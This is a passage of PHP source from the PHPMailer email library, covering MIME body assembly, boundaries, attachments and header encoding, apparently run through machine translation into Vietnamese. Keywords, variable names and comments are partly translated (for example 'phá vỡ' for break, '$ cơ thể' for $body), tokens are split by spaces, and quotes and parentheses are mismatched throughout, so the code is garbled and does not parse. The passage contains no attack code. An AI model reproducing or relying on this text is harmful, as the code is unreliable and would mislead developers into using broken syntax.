  2245. $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
  2246. $ body. = $ this-> LE. $ this-> LE;
  2247. $ body. = $ this-> getBoundary ($ this-> boundary [1], $ bodyCharSet, 'text / html', $ bodyEncoding);
  2248. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2249. $ body. = $ this-> LE. $ this-> LE;
  2250. if (! empty ($ this-> Ical)) {
  2251. $ body. = $ this-> getBoundary ($ this-> boundary [1], ',' text / calendar, method = REQUEST ',' ');
  2252. $ body. = $ this-> encodeString ($ this-> Ical, $ this-> Encoding);
  2253. $ body. = $ this-> LE. $ this-> LE;
  2254. }
  2255. $ body. = $ this-> endBoundary ($ this-> boundary [1]);
  2256. phá vỡ;
  2257. trường hợp 'alt_inline':
  2258. $ cơ thể. = $ mimepre;
  2259. $ body. = $ this-> getBoundary ($ this-> boundary [1], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
  2260. $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
  2261. $ body. = $ this-> LE. $ this-> LE;
  2262. $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
  2263. $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
  2264. $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
  2265. $ body. = $ this-> LE;
  2266. $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, 'text / html', $ bodyEncoding);
  2267. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2268. $ body. = $ this-> LE. $ this-> LE;
  2269. $ body. = $ this-> attachAll ('nội tuyến', $ this-> ranh giới [2]);
  2270. $ body. = $ this-> LE;
  2271. $ body. = $ this-> endBoundary ($ this-> boundary [1]);
  2272. phá vỡ;
  2273. trường hợp 'alt_attach':
  2274. $ cơ thể. = $ mimepre;
  2275. $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
  2276. $ body. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
  2277. $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
  2278. $ body. = $ this-> LE;
  2279. $ body. = $ this-> getBoundary ($ this-> boundary [2], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
  2280. $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
  2281. $ body. = $ this-> LE. $ this-> LE;
  2282. $ body. = $ this-> getBoundary ($ this-> boundary [2], $ bodyCharSet, 'text / html', $ bodyEncoding);
  2283. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2284. $ body. = $ this-> LE. $ this-> LE;
  2285. $ body. = $ this-> endBoundary ($ this-> boundary [2]);
  2286. $ body. = $ this-> LE;
  2287. $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
  2288. phá vỡ;
  2289. trường hợp 'alt_inline_attach':
  2290. $ cơ thể. = $ mimepre;
  2291. $ body. = $ this-> textLine ('-'. $ this-> boundary [1]);
  2292. $ body. = $ this-> headerLine ('Content-Type', 'multipart / alternative;');
  2293. $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> biên giới [2]. '' ');
  2294. $ body. = $ this-> LE;
  2295. $ body. = $ this-> getBoundary ($ this-> boundary [2], $ altBodyCharSet, 'text / plain', $ altBodyEncoding);
  2296. $ body. = $ this-> encodeString ($ this-> AltBody, $ altBodyEncoding);
  2297. $ body. = $ this-> LE. $ this-> LE;
  2298. $ body. = $ this-> textLine ('-'. $ this-> boundary [2]);
  2299. $ body. = $ this-> headerLine ('Content-Type', 'multipart / related;');
  2300. $ body. = $ this-> textLine ("\ tboundary = \" ".tiền này-> ranh giới [3]. '' ');
  2301. $ body. = $ this-> LE;
  2302. $ body. = $ this-> getBoundary ($ this-> boundary [3], $ bodyCharSet, 'text / html', $ bodyEncoding);
  2303. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2304. $ body. = $ this-> LE. $ this-> LE;
  2305. $ body. = $ this-> attachAll ('inline', $ this-> boundary [3]);
  2306. $ body. = $ this-> LE;
  2307. $ body. = $ this-> endBoundary ($ this-> boundary [2]);
  2308. $ body. = $ this-> LE;
  2309. $ body. = $ this-> attachAll ('attachment', $ this-> boundary [1]);
  2310. phá vỡ;
  2311. mặc định:
  2312. / / bắt trường hợp 'đồng bằng' và trường hợp ''
  2313. $ body. = $ this-> encodeString ($ this-> Body, $ bodyEncoding);
  2314. phá vỡ;
  2315. }
  2316.  
  2317. if ($ this-> isError ()) {
  2318. $ body = '';
  2319. } elseif ($ this-> sign_key_file) {
  2320. thử {
  2321. if (! defined ('PKCS7_TEXT')) {
  2322. ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl');
  2323. }
  2324. / / @TODO sẽ được tốt đẹp để sử dụng php: / / temp suối ở đây, nhưng cần phải bọc cho PHP <5.1
  2325. $ file = tempnam (sys_get_temp_dir (), 'mail');
  2326. if (false === file_put_contents ($ file, $ body)) {
  2327. ném phpmailerException mới ($ this-> lang ('signed'). 'Không thể ghi tập tin temp');
  2328. }
  2329. $ signed = tempnam (sys_get_temp_dir (), 'signed');
  2330. // Giải pháp tạm thời cho lỗi PHP https://bugs.php.net/bug.php?id=69197
  2331. if (empty ($ this-> sign_extracerts_file)) {
  2332. $ sign = @ openssl_pkcs7_sign (
  2333. $ tập tin,
  2334. $ ký,
  2335. 'tập tin://' . realpath ($ this-> sign_cert_file),
  2336. mảng ('file: //'. realpath ($ this-> sign_key_file), $ this-> sign_key_pass),
  2337. vô giá trị
  2338. );
  2339. } else {
  2340. $ sign = @ openssl_pkcs7_sign (
  2341. $ tập tin,
  2342. $ ký,
  2343. 'tập tin://' . realpath ($ this-> sign_cert_file),
  2344. mảng ('file: //'. realpath ($ this-> sign_key_file), $ this-> sign_key_pass),
  2345. vô giá trị,
  2346. PKCS7_DETACHED,
  2347. $ this-> sign_extracerts_file
  2348. );
  2349. }
  2350. if ($ sign) {
  2351. @unlink ($ file);
  2352. $ body = file_get_contents ($ đã ký);
  2353. @unlink ($ đã ký);
  2354. // Thông điệp được trả về bởi openssl chứa cả phần đầu và phần thân, do đó cần phải phân chia chúng
  2355. $ parts = explode ("\ n \ n", $ body, 2);
  2356. $ this-> MIMEHeader. = $ parts [0]. $ this-> LE. $ this-> LE;
  2357. $ body = $ parts [1];
  2358. } else {
  2359. @unlink ($ file);
  2360. @unlink ($ đã ký);
  2361. ném phpmailerException mới ($ this-> lang ('signed'). openssl_error_string ());
  2362. }
  2363. } catch (phpmailerException $ exc) {
  2364. $ body = '';
  2365. if ($ this-> exceptions) {
  2366. ném $ exc;
  2367. }
  2368. }
  2369. }
  2370. trở lại $ cơ thể;
  2371. }
  2372.  
  2373. / **
  2374. * Trả lại bắt đầu của ranh giới thư.
  2375. * @cơ sở bảo vệ
  2376. * ranh giới $ string
  2377. * @param chuỗi $ charSet
  2378. * @param string $ contentType
  2379. * Mã hóa $ string
  2380. * chuỗi trả về
  2381. * /
  2382. bảo vệ hàm getBoundary ($ ranh giới, $ charSet, $ contentType, $ encoding)
  2383. {
  2384. $ result = '';
  2385. if ($ charSet == '') {
  2386. $ charSet = $ this-> CharSet;
  2387. }
  2388. if ($ contentType == '') {
  2389. $ contentType = $ this-> ContentType;
  2390. }
  2391. if ($ encode == '') {
  2392. $ encoding = $ this-> Encoding;
  2393. }
  2394. $ result. = $ this-> textLine ('-'. $ ranh giới);
  2395. $ result. = sprintf ('Content-Type:% s; charset =% s', $ contentType, $ charSet);
  2396. $ result. = $ this-> LE;
  2397. / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
  2398. if ($ encoding! = '7bit') {
  2399. $ result. = $ this-> headerLine ('Content-Transfer-Encoding', $ mã hóa);
  2400. }
  2401. $ result. = $ this-> LE;
  2402.  
  2403. trả về $ kết quả;
  2404. }
  2405.  
  2406. / **
  2407. * Trả lại kết thúc của ranh giới thư.
  2408. * @cơ sở bảo vệ
  2409. * ranh giới $ string
  2410. * chuỗi trả về
  2411. * /
  2412. được bảo vệ endBoundary ($ ranh giới)
  2413. {
  2414. trả lại $ this-> LE. '-'. ranh giới $. '-'. $ this-> LE;
  2415. }
  2416.  
  2417. / **
  2418. * Thiết lập kiểu tin nhắn.
  2419. * PHPMailer chỉ hỗ trợ một số loại tin nhắn định sẵn,
  2420. * không tùy ý cấu trúc MIME.
  2421. * @cơ sở bảo vệ
  2422. * trở về trạng thái trống
  2423. * /
  2424. bảo vệ hàm setMessageType ()
  2425. {
  2426. $ type = array ();
  2427. if ($ this-> alternativeExists ()) {
  2428. $ type [] = 'alt';
  2429. }
  2430. if ($ this-> inlineImageExists ()) {
  2431. $ type [] = 'nội tuyến';
  2432. }
  2433. if ($ this-> attachmentExists ()) {
  2434. $ type [] = 'đính kèm';
  2435. }
  2436. $ this-> message_type = implode ('_', $ type);
  2437. if ($ this-> message_type == '') {
  2438. $ this-> message_type = 'plain';
  2439. }
  2440. }
  2441.  
  2442. / **
  2443. * Định dạng dòng tiêu đề.
  2444. * @ truy cập công cộng
  2445. * @param string $ name
  2446. * @param chuỗi $ giá trị
  2447. * chuỗi trả về
  2448. * /
  2449. tiêu đề công khai headerLine ($ name, $ value)
  2450. {
  2451. return $ name. ':'. giá trị $. $ this-> LE;
  2452. }
  2453.  
  2454. / **
  2455. * Trả lại một đường dây được định dạng.
  2456. * @ truy cập công cộng
  2457. * @param chuỗi $ giá trị
  2458. * chuỗi trả về
  2459. * /
  2460. chức năng công khai textLine ($ value)
  2461. {
  2462. trả về giá trị $. $ this-> LE;
  2463. }
  2464.  
  2465. / **
  2466. * Thêm một tập tin đính kèm từ một đường dẫn trên hệ thống tập tin.
  2467. * Trả về false nếu không thể tìm thấy hoặc đọc tập tin.
  2468. * @param string $ path Đường dẫn đến tập tin đính kèm.
  2469. * @param string $ name Ghi đè lên tên tệp đính kèm.
  2470. * @param string $ encoding Mã hóa tệp (xem $ Encoding).
  2471. * @param string $ type Loại tệp mở rộng (MIME) type.
  2472. * @param string $ disposition Định hướng sử dụng
  2473. * @throws phpmailerException
  2474. * @ boolean trở lại
  2475. * /
  2476. addAttachment hàm công cộng ($ path, $ name = '', $ encoding = 'base64', $ type = '', $ disposition = 'attachment')
  2477. {
  2478. thử {
  2479. if (! @ is_file ($ path)) {
  2480. ném phpmailerException mới ($ this-> lang ('file_access'). $ path, self :: STOP_CONTINUE;
  2481. }
  2482.  
  2483. / / Nếu một loại MIME không được chỉ định, cố gắng làm việc nó ra từ tên tập tin
  2484. if ($ type == '') {
  2485. $ type = self :: filenameToType ($ path);
  2486. }
  2487.  
  2488. $ filename = basename ($ path);
  2489. if ($ name == '') {
  2490. $ name = $ filename;
  2491. }
  2492.  
  2493. $ this-> attachment [] = mảng (
  2494. 0 => $ đường dẫn,
  2495. 1 => $ tên tập tin,
  2496. 2 => $ tên,
  2497. 3 => $ mã hóa,
  2498. 4 => $ loại,
  2499. 5 => false, // isStringAttachment
  2500. 6 => $ bố trí,
  2501. 7 => 0
  2502. );
  2503.  
  2504. } catch (phpmailerException $ exc) {
  2505. $ this-> setError ($ exc-> getMessage ());
  2506. $ this-> edebug ($ exc-> getMessage ());
  2507. if ($ this-> exceptions) {
  2508. ném $ exc;
  2509. }
  2510. trả lại giả;
  2511. }
  2512. trở lại đúng;
  2513. }
  2514.  
  2515. / **
  2516. * Trả lại mảng các tệp đính kèm.
  2517. * mảng trả về
  2518. * /
  2519. getAttachments hàm công cộng ()
  2520. {
  2521. trả lại $ this-> đính kèm;
  2522. }
  2523.  
  2524. / **
  2525. * Đính kèm tất cả các tập tin, chuỗi, và các tập tin đính kèm nhị phân vào tin nhắn.
  2526. * Trả lại một chuỗi rỗng khi thất bại.
  2527. * @cơ sở bảo vệ
  2528. * @param chuỗi $ disposition_type
  2529. * ranh giới $ string
  2530. * chuỗi trả về
  2531. * /
  2532. chức năng bảo vệ attachAll ($ disposition_type, $ ranh giới)
  2533. {
  2534. / / Trở lại văn bản của cơ thể
  2535. $ mime = array ();
  2536. $ cidUniq = mảng ();
  2537. $ bao gồm mảng ();
  2538.  
  2539. // Thêm tất cả các tệp đính kèm
  2540. foreach ($ this-> attachment as $ attachment) {
  2541. / / Kiểm tra nếu nó là một disposition_filter hợp lệ
  2542. if ($ attachment [6] == $ disposition_type) {
  2543. / / Kiểm tra tập tin đính kèm chuỗi
  2544. $ string = '';
  2545. $ path = '';
  2546. $ bString = $ tệp đính kèm [5];
  2547. if ($ bString) {
  2548. $ string = $ attachment [0];
  2549. } else {
  2550. $ path = $ attachment [0];
  2551. }
  2552.  
  2553. $ inclhash = md5 (serialize ($ attachment));
  2554. if (in_array ($ inclhash, $ incl)) {
  2555. tiếp tục;
  2556. }
  2557. $ bao gồm [] = $ inclhash;
  2558. $ name = $ attachment [2];
  2559. $ encoding = $ attachment [3];
  2560. $ type = $ attachment [4];
  2561. $ disposition = $ attachment [6];
  2562. $ cid = $ tệp đính kèm [7];
  2563. if ($ disposition == 'inline' && array_key_exists ($ cid, $ cidUniq)) {
  2564. tiếp tục;
  2565. }
  2566. $ cidUniq [$ cid] = true;
  2567.  
  2568. $ mime [] = sprintf ('-% s% s', $ ranh giới, $ this-> LE);
  2569. // Chỉ bao gồm một thuộc tính tên tệp nếu chúng ta có một
  2570. if (! empty ($ name)) {
  2571. $ mime [] = sprintf (
  2572. 'Loại nội dung; name = "% s"% s ',
  2573. $ loại,
  2574. $ this-> encodeHeader ($ this-> secureHeader ($ name)),
  2575. $ this-> LE
  2576. );
  2577. } else {
  2578. $ mime [] = sprintf (
  2579. 'Loại nội dung:% s% s',
  2580. $ loại,
  2581. $ this-> LE
  2582. );
  2583. }
  2584. / / RFC1341 phần 5 nói 7bit là giả định nếu không được chỉ định
  2585. if ($ encoding! = '7bit') {
  2586. $ mime [] = sprintf ('Content-Transfer-Encoding:% s% s', $ mã hóa, $ this-> LE);
  2587. }
  2588.  
  2589. if ($ disposition == 'inline') {
  2590. $ mime [] = sprintf ('Content-ID: <% s>% s', $ cid, $ this-> LE);
  2591. }
  2592.  
  2593. / / Nếu một tên tập tin có chứa bất kỳ của các ký tự này, cần được trích dẫn,
  2594. // nhưng không phải là khác: RFC2183 & RFC2045 5.1
  2595. // Khắc phục lời cảnh báo trong trình kiểm tra MIME MSglint của IETF
  2596. // Cho phép bỏ qua tiêu đề Content-Disposition hoàn toàn
  2597. if (! (trống ($ bố trí))) {
  2598. $ encoded_name = $ this-> encodeHeader ($ this-> secureHeader ($ name));
  2599. if (preg_match ('/ [\ (\) <> @,:: \\ "\ / \ [\] \? =] /', $ encoded_name)) {
  2600. $ mime [] = sprintf (
  2601. 'Content-Disposition:% s; filename = "% s"% s ',
  2602. $ bố trí,
  2603. $ encoded_name,
  2604. $ this-> LE. $ this-> LE
  2605. );
  2606. } else {
  2607. if (! empty ($ encoded_name)) {
  2608. $ mime [] = sprintf (
  2609. 'Content-Disposition:% s; tên tập tin =% s% s '
  2610. $ bố trí,
  2611. $ encoded_name,
  2612. $ this-> LE. $ this-> LE
  2613. );
  2614. } else {
  2615. $ mime [] = sprintf (
  2616. 'Content-Disposition:% s% s',
  2617. $ bố trí,
  2618. $ this-> LE. $ this-> LE
  2619. );
  2620. }
  2621. }
  2622. } else {
  2623. $ mime [] = $ this-> LE;
  2624. }
  2625.  
  2626. / / Mã hóa như tập tin đính kèm chuỗi
  2627. if ($ bString) {
  2628. $ mime [] = $ this-> encodeString ($ string, $ encoding);
  2629. if ($ this-> isError ()) {
  2630. trở về '';
  2631. }
  2632. $ mime [] = $ this-> LE. $ this-> LE;
  2633. } else {
  2634. $ mime [] = $ this-> encodeFile ($ path, $ encoding);
  2635. if ($ this-> isError ()) {
  2636. trở về '';
  2637. }
  2638. $ mime [] = $ this-> LE. $ this-> LE;
  2639. }
  2640. }
  2641. }
  2642.  
  2643. $ mime [] = sprintf ('-% s -% s', ranh giới $, $ this-> LE);
  2644.  
  2645. trở lại impode ('', $ mime);
  2646. }
  2647.  
  2648. / **
  2649. * Mã hóa tập tin đính kèm theo định dạng yêu cầu.
  2650. * Trả lại một chuỗi rỗng khi thất bại.
  2651. * @param string $ path Đường dẫn đầy đủ đến tệp tin
  2652. * @param chuỗi $ mã hóa Các mã hóa để sử dụng; một trong những 'base64', '7bit', '8bit', 'nhị phân', 'quoted-printable'
  2653. * @throws phpmailerException
  2654. * @cơ sở bảo vệ
  2655. * chuỗi trả về
  2656. * /
  2657. chức năng được bảo vệ encodeFile ($ path, $ encoding = 'base64')
  2658. {
  2659. thử {
  2660. if (! is_readable ($ path)) {
  2661. ném phpmailerException mới ($ this-> lang ('file_open'). $ path, self :: STOP_CONTINUE;
  2662. }
  2663. $ magic_quotes = get_magic_quotes_runtime ();
  2664. if ($ magic_quotes) {
  2665. if (version_compare (PHP_VERSION, '5.3.0', '<')) {
  2666. set_magic_quotes_runtime (sai);
  2667. } else {
  2668. // Không tồn tại trong PHP 5.4, nhưng chúng ta không cần phải kiểm tra vì
  2669. // get_magic_quotes_runtime luôn trả về false trong 5.4+
  2670. // vì vậy nó sẽ không bao giờ có được ở đây
  2671. ini_set ('magic_quotes_runtime', sai);
  2672. }
  2673. }
  2674. $ file_buffer = file_get_contents ($ path);
  2675. $ file_buffer = $ this-> encodeString ($ file_buffer, $ encoding);
  2676. if ($ magic_quotes) {
  2677. if (version_compare (PHP_VERSION, '5.3.0', '<')) {
  2678. set_magic_quotes_runtime ($ magic_quotes);
  2679. } else {
  2680. ini_set ('magic_quotes_runtime', $ magic_quotes);
  2681. }
  2682. }
  2683. trả lại $ file_buffer;
  2684. } catch (Exception $ exc) {
  2685. $ this-> setError ($ exc-> getMessage ());
  2686. trở về '';
  2687. }
  2688. }
  2689.  
  2690. / **
  2691. * Mã hóa chuỗi theo định dạng yêu cầu.
  2692. * Trả lại một chuỗi rỗng khi thất bại.
  2693. * @param string $ str Các văn bản để mã hóa
  2694. * @param chuỗi $ mã hóa Các mã hóa để sử dụng; một trong những 'base64', '7bit', '8bit', 'nhị phân', 'quoted-printable'
  2695. * @ truy cập công cộng
  2696. * chuỗi trả về
  2697. * /
  2698. hàm công cộng encodeString ($ str, $ encoding = 'base64')
  2699. {
  2700. $ mã hoá = '';
  2701. chuyển đổi (strtolower (mã hóa $)) {
  2702. trường hợp 'base64':
  2703. $ được mã hóa = chunk_split (base64_encode ($ str), 76, $ this-> LE);
  2704. phá vỡ;
  2705. trường hợp '7bit':
  2706. trường hợp '8bit':
  2707. $ được mã hoá = $ this-> fixEOL ($ str);
  2708. / / Hãy chắc chắn rằng nó kết thúc với một ngắt dòng
  2709. if (substr ($ encoded, - (strlen ($ this-> LE)))!) = $ this-> LE) {
  2710. $ được mã hoá. = $ this-> LE;
  2711. }
  2712. phá vỡ;
  2713. trường hợp 'nhị phân':
  2714. $ mã hoá = $ str;
  2715. phá vỡ;
  2716. trường hợp 'quoted-printable':
  2717. $ encoded = $ this-> encodeQP ($ str);
  2718. phá vỡ;
  2719. mặc định:
  2720. $ this-> setError ($ this-> lang ('encoding'). $ encoding);
  2721. phá vỡ;
  2722. }
  2723. trở lại $ mã hoá;
  2724. }
  2725.  
  2726. / **
  2727. * Mã hóa một chuỗi tiêu đề một cách tối ưu.
  2728. * Chọn ngắn nhất Q, B, trích dẫn in hoặc không có.
  2729. * @ truy cập công cộng
  2730. * @param chuỗi $ str
  2731. * @param string $ position
  2732. * chuỗi trả về
  2733. * /
  2734. hàm công cộng mã hóa ($ str, $ position = 'text')
  2735. {
  2736. $ matchcount = 0;
  2737. chuyển đổi (strtolower ($ vị trí)) {
  2738. trường hợp 'cụm từ':
  2739. if (! preg_match ('/ [\ 200- \ 377] /', $ str)) {
  2740. // Không thể sử dụng addslashes vì ​​chúng ta không biết giá trị của magic_quotes_sybase
  2741. $ encoded = addcslashes ($ str, "\ 0 .. \ 37 \ 177 \\\" ");
  2742. if (($ str == $ encoded) &&! preg_match ('/ [^ A-Za-z0-9! # $% & \' * + \ / =? ^ _ `{|} ~ -] / ', $ str)) {
  2743. return ($ mã hoá);
  2744. } else {
  2745. return ("\" $ mã hoá \ "");
  2746. }
  2747. }
  2748. $ matchcount = preg_match_all ('/ [^ \ 040 \ 041 \ 043- \ 133 \ 135- \ 176] /', $ str, $ khớp);
  2749. phá vỡ;
  2750. / ** @khám sát PhpMissingBreakStatementInspection * /
  2751. trường hợp 'nhận xét':
  2752. $ matchcount = preg_match_all ('/ [()'] / ', $ str, $ khớp);
  2753. / / Cố tình rơi
  2754. trường hợp 'văn bản':
  2755. mặc định:
  2756. $ matchcount + = preg_match_all ('/ [\ 000- \ 010 \ 013 \ 014 \ 016- \ 037 \ 177- \ 377] /', $ str, $ khớp);
  2757. phá vỡ;
  2758. }
  2759.  
  2760. // Không có ký tự cần mã hóa
  2761. if ($ matchcount == 0) {
  2762. return ($ str);
  2763. }
  2764.  
  2765. $ maxlen = 75 - 7 - strlen ($ this-> CharSet);
  2766. / / Hãy thử để chọn mã hóa mà nên sản lượng ra ngắn nhất
  2767. if ($ matchcount> strlen ($ str) / 3) {
  2768. // Hơn một phần ba nội dung sẽ cần mã hóa, do đó mã hoá B sẽ hiệu quả nhất
  2769. $ mã hóa = 'B';
  2770. if (function_exists ('mb_strlen') && $ this-> hasMultiBytes ($ str)) {
  2771. / / Sử dụng một chức năng tùy chỉnh chính xác mã hóa và kết thúc tốt đẹp
  2772. / / multibyte chuỗi mà không vi phạm các dòng trong một nhân vật
  2773. $ encoded = $ this-> base64EncodeWrapMB ($ str, "\ n");
  2774. } else {
  2775. $ mã hoá = base64_encode ($ str);
  2776. $ maxlen - = $ maxlen% 4;
  2777. $ encoded = trim (chunk_split ($ mã hoá, $ maxlen, "\ n"));
  2778. }
  2779. } else {
  2780. $ encoding = 'Q';
  2781. $ encoded = $ this-> encodeQ ($ str, $ position);
  2782. $ encoded = $ this-> wrapText ($ mã hoá, $ maxlen, true);
  2783. $ encoded = str_replace ('='. tự :: CRLF, "\ n", cắt ($ mã hoá));
  2784. }
  2785.  
  2786. $ encoded = preg_replace ('/^(.*)$/m', '=?'. $ this-> CharSet. "? $ encoding? \\ 1? =", $ mã hoá);
  2787. $ encoded = trim (str_replace ("\ n", $ this-> LE, $ mã hoá));
  2788.  
  2789. trở lại $ mã hoá;
  2790. }
  2791.  
  2792. / **
  2793. * Kiểm tra nếu một chuỗi chứa các ký tự đa byte.
  2794. * @ truy cập công cộng
  2795. * @param chuỗi $ str nhiều byte văn bản để bọc mã hóa
  2796. * @ boolean trở lại
  2797. * /
  2798. hàm công cộng hasMultiBytes ($ str)
  2799. {
  2800. if (function_exists ('mb_strlen')) {
  2801. return (strlen ($ str)> mb_strlen ($ str, $ this-> CharSet));
  2802. } else {// Giả sử không có multibytes (chúng ta không thể xử lý mà không có chức năng mbstring anyway)
  2803. trả lại giả;
  2804. }
  2805. }
  2806.  
  2807. / **
  2808. * Có một chuỗi chứa bất kỳ ký tự 8-bit (trong bất kỳ charset)?
  2809. * chuỗi ký tự $ string
  2810. * @ boolean trở lại
  2811. * /
  2812. chức năng công cộng has8bitChars ($ văn bản)
  2813. {
  2814. return (boolean) preg_match ('/ [\ x80- \ xFF] /', $ văn bản);
  2815. }
  2816.  
  2817. / **
  2818. * Mã hóa và bọc chuỗi dài đa chiều cho tiêu đề thư
  2819. * mà không phá vỡ đường trong một nhân vật.
  2820. * Được điều chỉnh từ một chức năng bởi paravoid
  2821. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2822. * @ truy cập công cộng
  2823. * @param chuỗi $ str nhiều byte văn bản để bọc mã hóa
  2824. * @param string $ linebreak string để sử dụng như linefeed / end-of-line
  2825. * chuỗi trả về
  2826. * /
  2827. chức năng công cộng base64EncodeWrapMB ($ str, $ linebreak = null)
  2828. {
  2829. $ start = '=?' . $ this-> CharSet. '? B?';
  2830. $ end = '? =';
  2831. $ mã hoá = '';
  2832. if ($ linebreak === null) {
  2833. $ linebreak = $ this-> LE;
  2834. }
  2835.  
  2836. $ mb_length = mb_strlen ($ str, $ this-> CharSet);
  2837. // Mỗi dòng phải có chiều dài <= 75, bao gồm $ bắt đầu và $ end
  2838. $ length = 75 - strlen ($ start) - strlen ($ kết thúc);
  2839. / / Tỷ lệ trung bình nhiều byte
  2840. $ ratio = $ mb_length / strlen ($ str);
  2841. // Base64 có tỉ lệ 4: 3
  2842. $ avgLength = sàn ($ chiều dài * $ tỷ lệ * .75);
  2843.  
  2844. cho ($ i = 0; $ i <$ mb_length; $ i + = $ bù đắp) {
  2845. $ lookBack = 0;
  2846. làm {
  2847. $ offset = $ avgLength - $ lookBack;
  2848. $ chunk = mb_substr ($ str, $ i, $ offset, $ this-> CharSet);
  2849. $ chunk = base64_encode (chunk $);
  2850. $ lookBack ++;
  2851. } trong khi (strlen ($ chunk)> $ length);
  2852. $ mã hoá. = chunk $. $ linebreak;
  2853. }
  2854.  
  2855. // Chomp dòng cuối cùng nạp
  2856. $ Mã hoá = substr ($ mã hoá, 0, -strlen ($ linebreak));
  2857. trở lại $ mã hoá;
  2858. }
  2859.  
  2860. / **
  2861. * Mã hóa một chuỗi trong định dạng trích dẫn in được.
  2862. * Theo RFC2045 mục 6.7.
  2863. * @ truy cập công cộng
  2864. * @param string $ string Các văn bản để mã hóa
  2865. * @param số nguyên $ line_max Số ký tự được phép trên một dòng trước khi gói
  2866. * chuỗi trả về
  2867. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Được chuyển thể từ nhận xét này
  2868. * /
  2869. chức năng công khai mã hóaQP ($ string, $ line_max = 76)
  2870. {
  2871. / / Sử dụng chức năng bản địa nếu nó có sẵn (> = PHP5.3)
  2872. if (function_exists ('quoted_printable_encode')) {
  2873. return quoted_printable_encode ($ string);
  2874. }
  2875. / / Fall trở lại một thực hiện PHP tinh khiết
  2876. $ string = str_replace (
  2877. mảng ('% 20', '% 0D% 0A.', '% 0D% 0A', '%'),
  2878. array ('', "\ r \ n = 2E", "\ r \ n", '='),
  2879. rawurlencode (chuỗi $)
  2880. );
  2881. trả về preg_replace ('/ [^ \ r \ n] {'. ($ line_max - 3). '}, $ 0 = \ r \ n ", $ string) ;
  2882. }
  2883.  
  2884. / **
  2885. * Gói wrapper tương thích ngược cho một chức năng mã hóa QP cũ bị xóa.
  2886. * @see PHPMailer :: encodeQP ()
  2887. * @ truy cập công cộng
  2888. * string $ string
  2889. * @param số nguyên $ line_max
  2890. * @param boolean $ space_conv
  2891. * chuỗi trả về
  2892. * @deprecated Sử dụng encodeQP thay thế.
  2893. * /
  2894. chức năng công khai mã hóaQPphp (
  2895. $ string,
  2896. $ line_max = 76,
  2897. / ** @khám sát PhpUnusedParameterInspection * / $ space_conv = false
  2898. ) {
  2899. return $ this-> encodeQP ($ string, $ line_max);
  2900. }
  2901.  
  2902. / **
  2903. * Mã hóa một chuỗi bằng cách sử dụng mã hóa Q.
  2904. * @link http://tools.ietf.org/html/rfc2047
  2905. * @param chuỗi $ str văn bản để mã hóa
  2906. * @param string $ position Trường hợp văn bản sẽ được sử dụng, xem RFC cho điều đó có nghĩa là gì
  2907. * @ truy cập công cộng
  2908. * chuỗi trả về
  2909. * /
  2910. hàm công cộng mã hoá ($ str, $ position = 'text')
  2911. {
  2912. // Không nên có EOL trong chuỗi
  2913. $ pattern = '';
  2914. $ encoded = str_replace (array ("\ r", "\ n"), '', $ str);
  2915. chuyển đổi (strtolower ($ vị trí)) {
  2916. trường hợp 'cụm từ':
  2917. / / RFC 2047 phần 5.3
  2918. $ pattern = '^ A-Za-z0-9! * + \ / -';
  2919. phá vỡ;
  2920. / ** @khám sát PhpMissingBreakStatementInspection * /
  2921. trường hợp 'nhận xét':
  2922. / / RFC 2047 phần 5.2
  2923. $ pattern = '\ (\) "';
  2924. / / cố tình rơi
  2925. // vì lý do này chúng ta xây dựng mô hình $ mà không bao gồm các dấu phân cách và []
  2926. trường hợp 'văn bản':
  2927. mặc định:
  2928. / / RFC 2047 phần 5.1
  2929. / / Thay thế mỗi ascii cao, kiểm soát, =,? và _ nhân vật
  2930. $ pattern = '\ 000- \ 011 \ 013 \ 014 \ 016- \ 037 \ 075 \ 077 \ 137 \ 177- \ 377'. $ mẫu;
  2931. phá vỡ;
  2932. }
  2933. $ matches = array ();
  2934. if (preg_match_all ("/ [{$ pattern}] /", $ mã hoá, $ khớp)) {
  2935. / / Nếu chuỗi có chứa một '=', hãy chắc chắn rằng đó là điều đầu tiên chúng ta thay thế
  2936. // để tránh mã hóa kép
  2937. $ eqkey = array_search ('=', $ khớp [0]);
  2938. if (false! == $ eqkey) {
  2939. unset ($ khớp [0] [$ eqkey]);
  2940. array_unshift ($ khớp [0], '=');
  2941. }
  2942. foreach (array_unique ($ matches [0]) như $ char) {
  2943. $ encoded = str_replace ($ char, '=' sprintf ('% 02X', ord ($ char)), $ được mã hóa;
  2944. }
  2945. }
  2946. // Thay thế mọi không gian để _ (dễ đọc hơn = 20)
  2947. trả lại str_replace ('', '_', $ mã hoá);
  2948. }
  2949.  
  2950. / **
  2951. * Thêm một chuỗi hoặc tập tin đính kèm nhị phân (không phải hệ thống tập tin).
  2952. * Phương pháp này có thể được sử dụng để đính kèm dữ liệu ascii hoặc nhị phân,
  2953. * chẳng hạn như một bản ghi BLOB từ cơ sở dữ liệu.
  2954. * @param string $ string Chuỗi dữ liệu đính kèm.
  2955. * @param string $ filename Tên của tập tin đính kèm.
  2956. * @param string $ encoding Mã hóa tệp (xem $ Encoding).
  2957. * @param string $ type Loại tệp mở rộng (MIME) type.
  2958. * @param string $ disposition Định hướng sử dụng
  2959. * trở về trạng thái trống
  2960. * /
  2961. chức năng addStringAttachment công cộng
  2962. $ string,
